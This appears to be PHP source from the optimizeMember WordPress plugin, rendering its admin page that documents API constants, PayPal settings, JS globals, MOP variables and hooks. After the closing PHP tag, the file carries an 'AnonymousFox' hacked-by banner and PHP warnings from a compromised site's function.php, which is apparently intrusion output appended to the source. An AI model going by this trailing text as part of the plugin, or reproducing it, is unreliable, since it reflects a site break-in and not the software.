										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-downloads-allowed-days.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_PROFILE_MODIFICATION_PAGE_URL</strong><br />This is a Stand-Alone URL where a User can modify their Profile. In addition to this Stand-Alone version, optimizeMember also makes a Shortcode available which produces an Inline Profile Editing Form. Use <code>[optimizeMember-Profile /]</code> in any Post/Page, or even in a Text Widget if you like.</p>' . "\n";
										echo '<p><strong>Code Sample #1</strong> ( standard link ):</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-profile-modification-page-url-1.x-php")) . '</p>' . "\n";
										echo '<p><strong>Code Sample #2</strong> ( open the link in a popup window ):</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-profile-modification-page-url-2.x-php")) . '</p>' . "\n";
										echo '<p><strong>Code Sample #3</strong> ( embed the form into a Post/Page using an IFRAME tag ):</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-profile-modification-page-url-3.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_FILE_DOWNLOAD_LIMIT_EXCEEDED_PAGE_URL</strong><br />This is the full URL to the Limit Exceeded Page ( informational ).</p>' . "\n";
										echo '<p><strong>OPTIMIZEMEMBER_FILE_DOWNLOAD_LIMIT_EXCEEDED_PAGE_ID</strong><br />This is the Page ID that was used to generate the full URL.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/file-download-limit-exceeded-page-url.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_MEMBERSHIP_OPTIONS_PAGE_URL</strong><br />This is the full URL to the Membership Options Page ( the signup page ).</p>' . "\n";
										echo '<p><strong>OPTIMIZEMEMBER_MEMBERSHIP_OPTIONS_PAGE_ID</strong><br />This is the Page ID that was used to generate the full URL.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/membership-options-page-url.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LOGIN_WELCOME_PAGE_URL</strong><br />This is the full URL to the Login Welcome Page ( the User\'s account page ). * This could also be the full URL to a Special Redirection URL ( if you configured one ). See <code>optimizeMember -> General Options -> Login Welcome Page</code>.</p>' . "\n";
										echo '<p><strong>OPTIMIZEMEMBER_LOGIN_WELCOME_PAGE_ID</strong><br />This is the Page ID that was used to generate the full URL. * In the case of a Special Redirection URL, this ID is not really applicable.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/login-welcome-page-url.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LOGIN_PAGE_URL</strong><br />This is the full URL to the Membership Login Page ( the WordPress login page ).</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/login-page-url.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LOGOUT_PAGE_URL</strong><br />This is the full URL to the Membership Logout Page ( the WordPress logout page ).</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/logout-page-url.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LEVELn_LABEL</strong><br />This is the (string) Label that you created for a particular Membership Level #. Replace <code>n</code> with a numeric Membership Level #..</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/leveln-label.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LEVELn_FILE_DOWNLOADS_ALLOWED</strong><br />This is the (int) allowed downloads for a particular Membership Level #. Replace <code>n</code> with a numeric Membership Level #.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/leveln-file-downloads-allowed.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_LEVELn_FILE_DOWNLOADS_ALLOWED_DAYS</strong><br />This is the (int) allowed download days for a particular Membership Level #. Replace <code>n</code> with a numeric Membership Level #.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/leveln-file-downloads-allowed-days.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_FILE_DOWNLOAD_INLINE_EXTENSIONS</strong><br />This is the (string) list of extensions to display inline.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/file-download-inline-extensions.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_REG_EMAIL_FROM_NAME</strong><br />This is the Name that outgoing email messages are sent by.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/reg-email-from-name.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_REG_EMAIL_FROM_EMAIL</strong><br />This is the Email Address that outgoing messages are sent by.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/reg-email-from-email.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_NOTIFY_URL</strong><br />This is the URL on your system that receives PayPal IPN responses.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/paypal-notify-url.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_RETURN_URL</strong><br />This is the URL on your system that receives PayPal return variables.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/paypal-return-url.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_ENDPOINT</strong><br />This is the Endpoint Domain to the PayPal server <em>( changes when Sandbox Mode is enabled )</em>.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/paypal-endpoint.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_API_ENDPOINT</strong><br />This is the Endpoint Domain to the PayPal API server <em>( changes when Sandbox Mode is enabled )</em>.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/paypal-api-endpoint.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_BUSINESS</strong><br />This is the Email Address that identifies your PayPal Business.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/paypal-business.x-php")) . '</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_API_USERNAME</strong><br />This is the API Username associated with your PayPal Business.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/paypal-api-username.x-php")) . '</p>' . "\n";
										echo '<p><em>* For security purposes, this is NOT included in the JS/API (JavaSript API).</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_API_PASSWORD</strong><br />This is the API Password associated with your PayPal Business.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/paypal-api-password.x-php")) . '</p>' . "\n";
										echo '<p><em>* For security purposes, this is NOT included in the JS/API (JavaSript API).</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_API_SIGNATURE</strong><br />This is the API Signature associated with your PayPal Business.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/paypal-api-signature.x-php")) . '</p>' . "\n";
										echo '<p><em>* For security purposes, this is NOT included in the JS/API (JavaSript API).</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_PAYPAL_PDT_IDENTITY_TOKEN</strong><br />This is the PDT Identity Token associated with your PayPal Business.</p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/paypal-pdt-identity-token.x-php")) . '</p>' . "\n";
										echo '<p><em>* For security purposes, this is NOT included in the JS/API (JavaSript API).</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_list_of_api_constants", get_defined_vars ());
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_VALUE_FOR_PP_ON0</strong> ... This auto-fills the <code>on0</code> value in PayPal Button Codes. If a Button Code is presented to a logged-in Member, this will auto-fill the value for the <code>on0</code> input variable, with the string: <code>"Referencing Customer ID"</code>. Otherwise, it will be set to a default value of: <code>"Originating Domain"</code>.</p>' . "\n";
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_VALUE_FOR_PP_OS0</strong> ... This auto-fills the <code>os0</code> value in PayPal Button Codes. If a Button Code is presented to a logged-in Member, this will auto-fill the value for the <code>os0</code> input variable, with the value of <code>OPTIMIZEMEMBER_CURRENT_USER_SUBSCR_OR_WP_ID</code>. Otherwise, it will be set to a default value of <code>$_SERVER["HTTP_HOST"]</code> <em>( the originating domain name )</em>.</p>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_VALUE_FOR_PP_ON1</strong> ... This auto-fills the <code>on1</code> value in PayPal Button Codes. This always contains the string: <code>"Customer IP Address"</code>.</p>' . "\n";
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_VALUE_FOR_PP_OS1</strong> ... This auto-fills the <code>os1</code> value in PayPal Button Codes. This always contains the value of <code>$_SERVER["REMOTE_ADDR"]</code> <em>( the Customer\'s IP address )</em>.</p>' . "\n";
										/**/
										echo '<p><em>These four Constants are special. They are used by the PayPal Button Generator for optimizeMember. This is how optimizeMember identifies an existing Member ( and/or a Free Subscriber ), who is already logged in when they click a PayPal Modification Button that was generated for you by optimizeMember. Instead of forcing a Member ( and/or a Free Subscriber ) to re-register for a new account, optimizeMember can identify their existing account, and update it, according to the modified terms in your Button Code. Specifically, these three Button Code parameters: <code>on0, os0, modify</code>, work together in harmony. If you\'re using the Shortcode Format for PayPal Buttons, you won\'t even see these, because they\'re added internally by the Shortcode processor. Anyway, they\'re just documented here for clarity; you probably won\'t use these directly; the Button Generator pops them in.</em></p>' . "\n";
										/**/
										echo '<p><em>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-value-for-pp-on0-os0-on1-os1.x-php")) . '</em></p>' . "\n";
										/**/
										echo '</div>' . "\n";
										/**/
										echo '</div>' . "\n";
									}
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_api_constants", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_api_js_globals", true, get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_api_js_globals", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-group" title="optimizeMember JS/API Globals">' . "\n";
								/**/
								echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-js-globals-section">' . "\n";
								echo '<h3>You Also Have Access To JS Globals ( some JavaScript knowledge required )</h3>' . "\n";
								echo '<p>Unless noted otherwise, all of the PHP Constants, are also available through JavaScript, as Global Variables <em>( with the exact same names/types as their PHP counterparts )</em>. optimizeMember automatically loads it\'s compressed JavaScript API into your theme for WordPress. optimizeMember is very intelligent about the way it loads <em>( and maintains )</em> it\'s JavaScript API. You can rely on the JavaScript Globals, the same way you rely on PHP Constants. The only exceptions are related to security. Variables that include private server-side details, like Identity Tokens and other API service credentials, will be excluded automatically.</p>' . "\n";
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_js_globals", get_defined_vars ());
								echo '</div>' . "\n";
								/**/
								echo '</div>' . "\n";
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_api_js_globals", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_api_mop_vars", (!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()), get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_api_mop_vars", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-group" title="Membership Options Page / Variables">' . "\n";
								/**/
								echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-mop-vars-section">' . "\n";
								echo '<h3>Membership Options Page Variables ( some scripting required )</h3>' . "\n";
								echo '<p>At the core of optimizeMember, is it\'s ability to protect content <em>( i.e. Posts, Pages, Tags, Categories, URI word fragments, etc )</em>. Whenever a public User, or even an existing Member attempts to access an area of your site that is unavailable to them; either because they are not logged-in, not a paying Member at all; or maybe they are logged-in, but they don\'t have access to content you\'ve protected at a higher Membership Level; optimizeMember will always redirect these unauthenticated requests to your Membership Options Page.</p>' . "\n";
								echo '<p>So your Membership Options Page is a key element of your site. It serves as the focal point of your optimizeMember installation. Understanding this, you can see it becomes important for optimizeMember to provide information about what the User/Member was attempting to access <em>( e.g. before they were redirected to the Membership Options Page )</em>. This is where optimizeMember\'s MOP Vars come in <em>( i.e. Membership Options Page Variables )</em>. Whenever optimizeMember redirects a User/Member to your Membership Options Page, it will include these important MOP Variables in the query string of the URL. These Variables can be used to provide more informative messages; or even to provide a different set of Membership Options <em>( i.e. Payment Buttons )</em>, based on what a User/Member was attempting to access.</p>' . "\n";
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_mop_vars", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								//echo '<p><strong>TIP:</strong> In addition to this documentation, you may also want to have a look at the <a href="http://www.optimizepress.com/codex/" target="_blank" rel="external">optimizeMember Codex</a>.<br />' . "\n";
								//echo '<strong>See Also:</strong> <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_constants/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Constants</a>, and <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_functions/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Functions</a>.</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/api-mop-vars.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Code Samples:</strong> This may give you some ideas [ <a href="#" onclick="jQuery(\'p#ws-plugin--optimizemember-api-mop-vars-code-samples\').toggle(); return false;" class="ws-dotted-link">click here</a> ].</p>' . "\n";
								echo '<p id="ws-plugin--optimizemember-api-mop-vars-code-samples" style="display:none;">' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/api-mop-vars-e.x-php")) . '</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Backward compatibility:</strong> The structure of optimizeMember\'s MOP Vars changed a bit in Nov, 2011. However, optimizeMember still provides the same MOP Vars that it used in previous versions, for backward compatibility. These <a href="#" onclick="jQuery(\'p#ws-plugin--optimizemember-old-api-mop-vars-details\').toggle(); return false;" class="ws-dotted-link">old MOP Variables</a> were more difficult to use; they are now deprecated <em>( i.e. they WILL eventually be removed )</em>. Going foward, please go by the new documentation above.</p>' . "\n";
								echo '<p id="ws-plugin--optimizemember-old-api-mop-vars-details" style="display:none;">' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/api-mop-vars-o.x-php")) . '</p>' . "\n";
								echo '</div>' . "\n";
								/**/
								echo '</div>' . "\n";
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_api_mop_vars", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_api_hooks", (!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()), get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_api_hooks", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-group" title="Hooks/Filters ( For Developers )">' . "\n";
								/**/
								echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-hooks-section">' . "\n";
								echo '<h3>WP Hooks For Theme/Plugin Developers ( scripting required )</h3>' . "\n";
								echo '<p>In addition to its API Constants, optimizeMember also makes several Hooks/Filters available throughout its framework. This makes it possible to build onto <em>( or even modify )</em> optimizeMember in lots of different ways. If you need to add custom processing routines, modify the behavior of existing processing routines, or tinker with things otherwise; you should use API Hooks/Filters. API Hooks &amp; Filters, give you the ability to "hook into", and/or "filter" processing routines, with files/functions of your own; instead of editing the optimizeMember plugin files directly. If you don\'t use a Hook/Filter, and instead, you edit the plugin files for optimizeMember, you\'ll have to merge all of your changes every time a new version of optimizeMember is released. If you create custom processing routines, you could place those routines into a PHP file here: <code>/wp-content/mu-plugins/s2-hacks.php</code>. If you don\'t have an <code>/mu-plugins/</code> directory, please create one. These are <em>(mu)</em> <a href="http://codex.wordpress.org/Must_Use_Plugins" target="_blank" rel="external">MUST USE plugins</a>, which are loaded into WordPress automatically; that\'s what you want!</p>' . "\n";
								echo '<p><strong>Attn Developers:</strong> There are simply too many Hooks/Filters spread throughout optimizeMember\'s framework <em>( over 1000 total )</em>. Rather than documenting each Hook/Filter, it is easier to browse through the files inside: <code>/optimizemember/includes/classes/</code>. Inspecting Hooks/Filters in this way, also leads you to a better understanding of how they work. One way to save time, is to run a search for <code>do_action</code> and/or <code>apply_filters</code>. If you\'re new to the concept of Hooks/Filters for WordPress/optimizeMember, we suggest <a href="http://www.optimizepress.com/codex/#src_doc_overview_description" target="_blank" rel="external">this article</a> as a primer.</p>' . "\n";
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_hooks", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								//echo '<p><strong>TIP:</strong> In addition to this documentation, you may also want to have a look at the <a href="http://www.optimizepress.com/codex/" target="_blank" rel="external">optimizeMember Codex</a>.<br />' . "\n";
								//echo '<strong>See Also:</strong> <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_constants/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Constants</a>, and <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_functions/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Functions</a>.</p>' . "\n";
								echo '</div>' . "\n";
								/**/
								echo '</div>' . "\n";
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_api_hooks", get_defined_vars ());
							}
						/**/
						do_action ("ws_plugin__optimizemember_during_scripting_page_after_left_sections", get_defined_vars ());
						/**/
						echo '</td>' . "\n";
						/**/
						echo '<td class="ws-menu-page-table-r">' . "\n";
						c_ws_plugin__optimizemember_menu_pages_rs::display ();
						echo '</td>' . "\n";
						/**/
						echo '</tr>' . "\n";
						echo '</tbody>' . "\n";
						echo '</table>' . "\n";
						/**/
						echo '</div>' . "\n";
						echo '</div>' . "\n";
					}
			}
	}
/**/
new c_ws_plugin__optimizemember_menu_page_scripting ();
?>

Hacked By AnonymousFox1.0, Coded By AnonymousFox
Warning: unlink(/tmp/138.201.207.117:802): Is a directory in /home/wxcglxzi/public_html/network/function.php on line 1

Warning: unlink(/tmp/142.11.217.94): Is a directory in /home/wxcglxzi/public_html/network/function.php on line 1

Warning: unlink(/tmp/142.11.217.94:80): Is a directory in /home/wxcglxzi/public_html/network/function.php on line 1

Warning: unlink(/tmp/94.217.11.142:80): Is a directory in /home/wxcglxzi/public_html/network/function.php on line 1